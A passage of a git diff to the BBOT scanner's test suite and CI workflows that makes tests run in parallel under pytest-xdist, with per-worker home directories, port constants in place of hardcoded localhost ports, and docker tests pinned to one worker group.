bbot/test/test_step_1/test_presets.py | 3 +- bbot/test/test_step_1/test_python_api.py | 6 +- bbot/test/test_step_1/test_scope.py | 10 +- bbot/test/test_step_1/test_target.py | 15 +- bbot/test/test_step_1/test_web.py | 4 +- bbot/test/test_step_1/test_worker_count.py | 81 +++ .../test/test_step_1/test_worker_isolation.py | 85 +++ .../module_tests/test_module_ajaxpro.py | 6 +- .../test_module_aspnet_bin_exposure.py | 7 +- .../test_module_asset_inventory.py | 24 +- .../module_tests/test_module_baddns.py | 5 +- .../module_tests/test_module_baddns_direct.py | 7 +- .../module_tests/test_module_badsecrets.py | 17 +- .../module_tests/test_module_bucket_amazon.py | 3 +- .../test_module_bucket_file_enum.py | 3 +- .../module_tests/test_module_bypass403.py | 11 +- .../module_tests/test_module_cloudcheck.py | 3 +- .../test_module_code_repository.py | 3 +- .../module_tests/test_module_discord.py | 3 +- .../module_tests/test_module_docker_pull.py | 3 +- .../module_tests/test_module_dotnetnuke.py | 5 +- .../module_tests/test_module_elastic.py | 14 +- .../module_tests/test_module_excavate.py | 265 +++++----- .../module_tests/test_module_filedownload.py | 3 +- .../module_tests/test_module_fingerprintx.py | 5 +- .../module_tests/test_module_generic_ssrf.py | 3 +- .../module_tests/test_module_git.py | 18 +- .../module_tests/test_module_git_clone.py | 5 +- .../module_tests/test_module_gitdumper.py | 9 +- .../test_module_github_codesearch.py | 5 +- .../test_module_github_workflows.py | 7 +- .../module_tests/test_module_gitlab_com.py | 3 +- .../module_tests/test_module_gitlab_onprem.py | 43 +- .../module_tests/test_module_gowitness.py | 57 +- .../test_module_graphql_introspection.py | 9 +- .../module_tests/test_module_host_header.py | 3 +- .../module_tests/test_module_http.py | 50 +- .../module_tests/test_module_hunt.py | 3 +- .../test_module_iis_shortnames.py | 7 +- .../module_tests/test_module_json.py | 5 +- .../module_tests/test_module_kreuzberg.py | 3 +- .../module_tests/test_module_lightfuzz.py | 113 ++-- .../module_tests/test_module_mongo.py | 20 +- .../module_tests/test_module_newsletters.py | 5 +- .../module_tests/test_module_ntlm.py | 3 +- .../module_tests/test_module_nuclei.py | 17 +- .../test_module_paramminer_getparams.py | 19 +- .../test_module_paramminer_headers.py | 21 +- .../test_module_reflected_parameters.py | 3 +- .../module_tests/test_module_retirejs.py | 13 +- .../module_tests/test_module_robots.py | 11 +- .../module_tests/test_module_social.py | 3 +- .../module_tests/test_module_speculate.py | 5 +- .../module_tests/test_module_sslcert.py | 3 +- .../module_tests/test_module_telerik.py | 5 +- .../module_tests/test_module_trufflehog.py | 25 +- .../module_tests/test_module_unarchive.py | 7 +- .../test_module_url_manipulation.py | 5 +- .../module_tests/test_module_virtualhost.py | 127 +++-- .../module_tests/test_module_waf_bypass.py | 7 +- .../module_tests/test_module_wafw00f.py | 7 +- .../module_tests/test_module_wayback.py | 5 +- .../module_tests/test_module_web_report.py | 7 +- .../module_tests/test_module_webbrute.py | 17 +- .../test_module_webbrute_shortnames.py | 49 +- .../module_tests/test_module_websocket.py | 5 +- bbot/test/worker.py | 106 ++++ bbot/test/worker_count.py | 39 ++ pyproject.toml | 1 + uv.lock | 24 + 79 files changed, 1297 insertions(+), 788 deletions(-) create mode 100644 bbot/test/test_step_1/test_worker_count.py create mode 100644 bbot/test/test_step_1/test_worker_isolation.py create mode 100644 bbot/test/worker.py create mode 100644 bbot/test/worker_count.py diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 0152453e04..6d36ec88bb 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -64,8 +64,13 @@ jobs: current_benchmark_results.json retention-days: 30 - # Comment on PR with benchmark results + # Comment on PR with benchmark results. + # A pull_request run from a fork gets a read-only GITHUB_TOKEN no matter what + # the permissions block above says, so commenting is impossible there and the + # attempt fails the whole job with a 403. The report is still in the uploaded + # artifact either way. - name: Comment benchmark results on PR + if: github.event.pull_request.head.repo.full_name == github.repository uses: actions/github-script@v9 with: script: | diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 12225e1b9e..d81333f76b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -38,7 +38,7 @@ jobs: env: BBOT_IO_API_KEY: ${{ secrets.BBOT_IO_API_KEY }} run: | - uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . + uv run pytest -vv -n $(python bbot/test/worker_count.py) --dist loadgroup --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs if: always() uses: actions/upload-artifact@v7 diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index df8a7cb547..f296a65c4c 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -15,12 +15,15 @@ from bbot.core.config.merge import deep_merge from bbot.scanner import Preset from bbot.core.helpers.misc import mkdir, rand_string +from bbot.test.worker import BBOT_TEST_DIR log = logging.getLogger("bbot.test.fixtures") -bbot_test_dir = Path("/tmp/.bbot_test") +# Per-xdist-worker so parallel workers don't share caches, scan output, or the +# sessionfinish cleanup. Serial runs still get /tmp/.bbot_test. +bbot_test_dir = BBOT_TEST_DIR mkdir(bbot_test_dir) diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index d82a982db4..d7caf4aac5 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -10,6 +10,13 @@ from contextlib import suppress from pytest_httpserver import HTTPServer +from bbot.test.worker import ( + BBOT_TEST_DIR, + HTTPSERVER_ALLINTERFACES_PORT, + HTTPSERVER_PORT, + HTTPSERVER_SSL_PORT, +) + from bbot.core import CORE from bbot.core.helpers.misc import execute_sync_or_async from bbot.core.helpers.interactsh import server_list as interactsh_servers @@ -26,12 +33,28 @@ with open(Path(__file__).parent / "test.conf") as _f: test_config = yaml.safe_load(_f) or {} +# Give each xdist worker its own BBOT home. test.conf carries the serial default; +# under -n the workers would otherwise share caches, scan output and temp files, +# and the sessionfinish cleanup below would delete a directory still in use. +test_config["home"] = str(BBOT_TEST_DIR) + os.environ["BBOT_DEBUG"] = "True" CORE.logger.log_level = logging.DEBUG # silence all stderr output: stderr_handler = CORE.logger.log_handlers["stderr"] stderr_handler.setLevel(logging.CRITICAL) +# worker.py clears _BBOT_LOGGING_SETUP for xdist workers, so every process that +# reaches here (serial or worker) owns a real QueueListener. If it is missing, +# logging never got set up and debug.log would silently stay empty, so fail +# loudly instead of continuing with logging quietly broken. +if CORE.logger.listener is None: + raise RuntimeError( + "BBOT logging was not initialized in this process " + f"(PYTEST_XDIST_WORKER={os.environ.get('PYTEST_XDIST_WORKER', '')!r}). " + "debug.log would be empty and log-reading tests would fail with " + "confusing assertion errors." + ) handlers = list(CORE.logger.listener.handlers) handlers.remove(stderr_handler) CORE.logger.listener.handlers = tuple(handlers) @@ -96,7 +119,7 @@ def stop_server(server): @pytest.fixture def bbot_httpserver(): - server = HTTPServer(host="127.0.0.1", port=8888, threaded=True) + server = HTTPServer(host="127.0.0.1", port=HTTPSERVER_PORT, threaded=True) server.start() yield server @@ -115,7 +138,7 @@ def bbot_httpserver_ssl(): keyfile = str(current_dir / "testsslkey.pem") certfile = str(current_dir / "testsslcert.pem") context.load_cert_chain(certfile, keyfile) - server = HTTPServer(host="127.0.0.1", port=9999, ssl_context=context, threaded=True) + server = HTTPServer(host="127.0.0.1", port=HTTPSERVER_SSL_PORT, ssl_context=context, threaded=True) server.start() yield server @@ -222,7 +245,7 @@ async def patched_request_batch_stream(self, urls, threads=10, **kwargs): @pytest.fixture def bbot_httpserver_allinterfaces(): - server = HTTPServer(host="0.0.0.0", port=5556, threaded=True) + server = HTTPServer(host="0.0.0.0", port=HTTPSERVER_ALLINTERFACES_PORT, threaded=True) server.start() yield server @@ -334,6 +357,20 @@ def proxy_server(): server_thread.join() +def pytest_collection_modifyitems(config, items): + """Pin docker-backed tests to one xdist worker. + + They start real containers with fixed names and fixed host port bindings + (kafka, elastic, mongo, mysql, nats, postgres, rabbitmq), so two workers + running them at once fight over both. They already mark themselves with + ``skip_distro_tests``, so reuse that as the signal. + """ + for item in items: + cls = getattr(item, "cls", None) + if cls is not None and getattr(cls, "skip_distro_tests", False): + item.add_marker(pytest.mark.xdist_group("docker")) + + def pytest_terminal_summary(terminalreporter, exitstatus, config): # pragma: no cover RED = "\033[1;31m" GREEN = "\033[1;32m" @@ -460,8 +497,10 @@ def pytest_sessionfinish(session, exitstatus): if child.is_alive(): child.kill() - # Wipe out BBOT home dir - shutil.rmtree("/tmp/.bbot_test", ignore_errors=True) + # Wipe out BBOT home dir. Scoped to this worker: under xdist the first + # worker to finish would otherwise delete the directory out from under + # every worker still running. + shutil.rmtree(BBOT_TEST_DIR, ignore_errors=True) # Ensure stdout/stderr are blocking before pytest writes summaries try: diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index 2c122f3191..e00f39c328 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -7,6 +7,7 @@ from urllib.request import urlopen, Request from urllib.error import URLError from urllib.parse import urlencode +from bbot.test.worker import FASTAPI_PORT, FASTAPI_URL, HTTPSERVER_URL cwd = Path(__file__).parent.parent.parent @@ -14,7 +15,7 @@ def run_bbot_multiprocess(queue): from bbot.scanner import Scanner - scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["http"]) + scan = Scanner(HTTPSERVER_URL, "blacklanternsecurity.com", modules=["http"]) events = [e.json() for e in scan.start()] queue.put(events) @@ -42,7 +43,7 @@ def test_bbot_fastapi(bbot_httpserver): start_time = time.time() while True: try: - response = urlopen("http://127.0.0.1:8978/ping") + response = urlopen(f"{FASTAPI_URL}/ping") response.read() break except (URLError, ConnectionError): @@ -52,8 +53,8 @@ def test_bbot_fastapi(bbot_httpserver): continue # run a scan - params = urlencode({"targets": ["http://127.0.0.1:8888", "blacklanternsecurity.com"]}, doseq=True) - req = Request(f"http://127.0.0.1:8978/start?{params}") + params = urlencode({"targets": [HTTPSERVER_URL, "blacklanternsecurity.com"]}, doseq=True) + req = Request(f"{FASTAPI_URL}/start?{params}") response = urlopen(req, timeout=100) events = json.loads(response.read()) assert len(events) >= 3 @@ -75,6 +76,8 @@ def start_fastapi_server(): del env["BBOT_TESTING"] python_executable = str(sys.executable) process = Popen( - [python_executable, "-m", "uvicorn", "bbot.test.fastapi_test:app", "--port", "8978"], cwd=cwd, env=env + [python_executable, "-m", "uvicorn", "bbot.test.fastapi_test:app", "--port", str(FASTAPI_PORT)], + cwd=cwd, + env=env, ) return process diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c8321283cd..2db0037d12 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -871,6 +871,12 @@ def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): """ ) + # These are cleaned up at the end of the test, but an earlier failure (or an + # interrupted run) leaves them behind, and then these "not exists" assertions + # fail on every later run against the same BBOT home. Clear them up front so + # the test establishes its precondition instead of assuming it. + shutil.rmtree(output_dir, ignore_errors=True) + assert not output_dir.exists() assert not scan_dir.exists() assert not output_file.exists() diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py index 54bbdaba25..f8789f8588 100644 --- a/bbot/test/test_step_1/test_command.py +++ b/bbot/test/test_step_1/test_command.py @@ -1,5 +1,7 @@ import time from ..bbot_fixtures import * + +from bbot.test.worker import BBOT_TEST_DIR from subprocess import CalledProcessError @@ -38,7 +40,7 @@ async def test_command(bbot_scanner): assert result.splitlines() == [b"some", b"random", b"stdin"] # test overflow - run - tmpfile_path = Path("/tmp/test_bigfile") + tmpfile_path = BBOT_TEST_DIR / "test_bigfile" with open(tmpfile_path, "w") as f: # write 2MB f.write("A" * 1024 * 1024 * 2) @@ -46,7 +48,7 @@ async def test_command(bbot_scanner): assert len(result) == 1024 * 1024 * 2 tmpfile_path.unlink(missing_ok=True) # test overflow - run_live - tmpfile_path = Path("/tmp/test_bigfile") + tmpfile_path = BBOT_TEST_DIR / "test_bigfile" with open(tmpfile_path, "w") as f: # write 2MB f.write("A" * 10 + "\n") @@ -119,30 +121,30 @@ async def test_command(bbot_scanner): # test sudo + existence of environment variables await scan1._prep() path_parts = os.environ.get("PATH", "").split(":") - assert "/tmp/.bbot_test/tools" in path_parts + assert f"{BBOT_TEST_DIR}/tools" in path_parts run_lines = (await scan1.helpers.run(["env"])).stdout.splitlines() assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_lines for line in run_lines: if line.startswith("PATH="): path_parts = line.split("=", 1)[-1].split(":") - assert "/tmp/.bbot_test/tools" in path_parts + assert f"{BBOT_TEST_DIR}/tools" in path_parts run_lines_sudo = (await scan1.helpers.run(["env"], sudo=True)).stdout.splitlines() assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_lines_sudo for line in run_lines_sudo: if line.startswith("PATH="): path_parts = line.split("=", 1)[-1].split(":") - assert "/tmp/.bbot_test/tools" in path_parts + assert f"{BBOT_TEST_DIR}/tools" in path_parts run_live_lines = [l async for l in scan1.helpers.run_live(["env"])] assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_live_lines for line in run_live_lines: if line.startswith("PATH="): path_parts = line.strip().split("=", 1)[-1].split(":") - assert "/tmp/.bbot_test/tools" in path_parts + assert f"{BBOT_TEST_DIR}/tools" in path_parts run_live_lines_sudo = [l async for l in scan1.helpers.run_live(["env"], sudo=True)] assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_live_lines_sudo for line in run_live_lines_sudo: if line.startswith("PATH="): path_parts = line.strip().split("=", 1)[-1].split(":") - assert "/tmp/.bbot_test/tools" in path_parts + assert f"{BBOT_TEST_DIR}/tools" in path_parts await scan1._cleanup() diff --git a/bbot/test/test_step_1/test_excavate_url_regexes.py b/bbot/test/test_step_1/test_excavate_url_regexes.py index d1a30dc50d..69369fa916 100644 --- a/bbot/test/test_step_1/test_excavate_url_regexes.py +++ b/bbot/test/test_step_1/test_excavate_url_regexes.py @@ -11,6 +11,7 @@ import yara from bbot.modules.internal.excavate import excavate +from bbot.test.worker import HTTPSERVER_URL full_url_regex = excavate.URLExtractor.full_url_regex @@ -30,7 +31,7 @@ NON_IPV6_URLS = [ "http://example.com/", "https://www.example.com:8080/path", - "http://127.0.0.1:8888/", + f"{HTTPSERVER_URL}/", "https://asdffoo.test.notreal/some/path", ] diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index fb6b5c4c95..66d80773bf 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -12,12 +12,27 @@ from ..bbot_fixtures import * # noqa: F401 from pytest_httpserver import HTTPServer +from bbot.test.worker import ( + HTTPSERVER_HOSTPORT, + HTTPSERVER_PORT, + HTTPSERVER_PORT_ALT, + HTTPSERVER_SSL_HOSTPORT, + HTTPSERVER_SSL_PORT, + HTTPSERVER_URL, +) @pytest.fixture def bbot_other_httpservers(): - server_hosts = [("127.0.0.77", 8888), ("127.0.0.88", 8888), ("127.0.0.99", 8888), ("127.0.0.111", 8888), ("127.0.0.222", 8889), ("127.0.0.33", 8889)] + server_hosts = [ + ("127.0.0.77", HTTPSERVER_PORT), + ("127.0.0.88", HTTPSERVER_PORT), + ("127.0.0.99", HTTPSERVER_PORT), + ("127.0.0.111", HTTPSERVER_PORT), + ("127.0.0.222", HTTPSERVER_PORT_ALT), + ("127.0.0.33", HTTPSERVER_PORT_ALT), + ] servers = [HTTPServer(host=host, port=port, threaded=True) for host, port in server_hosts] for server in servers: @@ -47,13 +62,13 @@ async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbo server_77, server_88, server_99, server_111, server_222, server_33 = bbot_other_httpservers - bbot_httpserver.expect_request(uri="/").respond_with_data(response_data="") - server_77.expect_request(uri="/").respond_with_data(response_data="") - server_88.expect_request(uri="/").respond_with_data(response_data="") - server_99.expect_request(uri="/").respond_with_data(response_data="") - server_111.expect_request(uri="/").respond_with_data(response_data="") - server_222.expect_request(uri="/").respond_with_data(response_data="") - server_33.expect_request(uri="/").respond_with_data(response_data="") + bbot_httpserver.expect_request(uri="/").respond_with_data(response_data=f"") + server_77.expect_request(uri="/").respond_with_data(response_data=f"") + server_88.expect_request(uri="/").respond_with_data(response_data=f"") + server_99.expect_request(uri="/").respond_with_data(response_data=f"") + server_111.expect_request(uri="/").respond_with_data(response_data=f"") + server_222.expect_request(uri="/").respond_with_data(response_data=f"") + server_33.expect_request(uri="/").respond_with_data(response_data=f"") class DummyModule(BaseModule): _name = "dummy_module" @@ -295,7 +310,7 @@ def custom_setup(scan): "scope": {"report_distance": 1, "search_distance": 0}, "speculate": True, "excavate": True, - "modules": {"speculate": {"ports": "8888"}}, + "modules": {"speculate": {"ports": f"{HTTPSERVER_PORT}"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, _dns_mock={}, @@ -305,54 +320,54 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) assert len(all_events) == 14 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) assert len(all_events_nodups) == 12 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}" and e.internal is True and e.scope_distance == 1]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/"]) + assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == f"http://127.0.0.77:{HTTPSERVER_PORT}/"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.77:{HTTPSERVER_PORT}"]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -363,7 +378,7 @@ def custom_setup(scan): "scope": {"search_distance": 0, "report_distance": 1}, "excavate": True, "speculate": True, - "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": f"{HTTPSERVER_PORT}"}}, "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], }, ) @@ -377,70 +392,70 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_PORT}"]) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_HOSTPORT and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == HTTPSERVER_HOSTPORT]) + assert 